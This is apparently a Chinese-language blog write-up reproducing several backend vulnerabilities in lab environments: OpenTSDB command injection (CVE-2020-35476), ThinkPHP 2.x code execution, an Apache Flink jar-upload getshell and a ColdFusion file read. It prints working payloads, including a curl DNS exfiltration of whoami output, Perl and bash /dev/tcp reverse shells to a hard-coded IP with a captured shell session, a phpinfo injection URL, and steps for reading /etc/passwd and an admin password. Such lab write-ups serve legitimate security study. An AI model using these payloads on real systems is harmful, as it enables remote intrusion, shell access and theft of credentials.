后端漏洞(上)
OpenTSDB 命令注入漏洞(CVE-2020-35476)
1:复现环境中的命令注入漏洞
通过 http://your-ip:4242/api/suggest?type=metrics&q=&max=10 查看metric列表
发现这里的metrics为空
利用API创建一个名为 sys.cpu.nice
的metric并添加一条记录
发送如下数据包,其中参数m的值必须包含一个有数据的metric
进入容器中可见命令 touch /tmp/success
已成功执行
2:尝试利用命令注入执行whomi命令,使用DNS外带技术获取结果
DNSLog Platform获取一个会话并等待dns请求带回关键字$(whoami)
构造请求
curl http://$(whoami).random.dnslog.cn
3:利用反弹Shell方法,将漏洞环境的Shell反弹到宿主机或VPS服务器
Docker内没有netcat,lua,并且默认dash使bash语法不能生效。于是使用perl反弹shell:
Perl反弹由Online - Reverse Shell Generator (revshells.com)生成
perl -e 'use Socket;$i="47.109.111.193";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
测试语句实际可用
但通过web请求注入失败,查看CVE-2020-35476研究发现,实际上使用gnuplot的system函数实现命令注入,而gnuplot的system函数对多重引号支持有问题导致注入失败
perl -e ‘use…的单引号构成单引号闭合造成命令无法传入
尝试修改dash为bash,并注入反向shell以规避多层引号:
ln -s -f bash /bin/sh;sh -i >& /dev/tcp/47.109.111.193/2333 0>&1
Connection received on xx.xx.xx.xx 1191
sh: cannot set terminal process group (1): Inappropriate ioctl for device
sh: no job control in this shell
sh-5.1#
反弹shell成功
ThinkPHP 2.x 任意代码执行漏洞
直接访问 http://localhost:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
执行phpinfo()
:
ls打印当前目录
tree打印网站结构
Apache Flink 任意文件上传漏洞(CVE-2020-17518)
Flink支持上传jar包并且执行,所以可以通过上传jar包直接getshell
将注入程序通过maven打包成jar
注入失败,查看容器内报错发现
Caused by: java.lang.UnsupportedClassVersionError: main has been compiled by a more recent version of the Java Runtime (class file version 64.0), this version of the Java Runtime only recognizes class file versions up to 52.0.
结论:Java编译版本过高
新建Java1.8环境重新编译反弹shell的jar包
上传并执行
Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)
直接访问读取文件/etc/passwd
:
读取后台管理员密码:
读取目标系统中的”/opt/coldfusion8/license.txt”文件
Comments
Leave a comment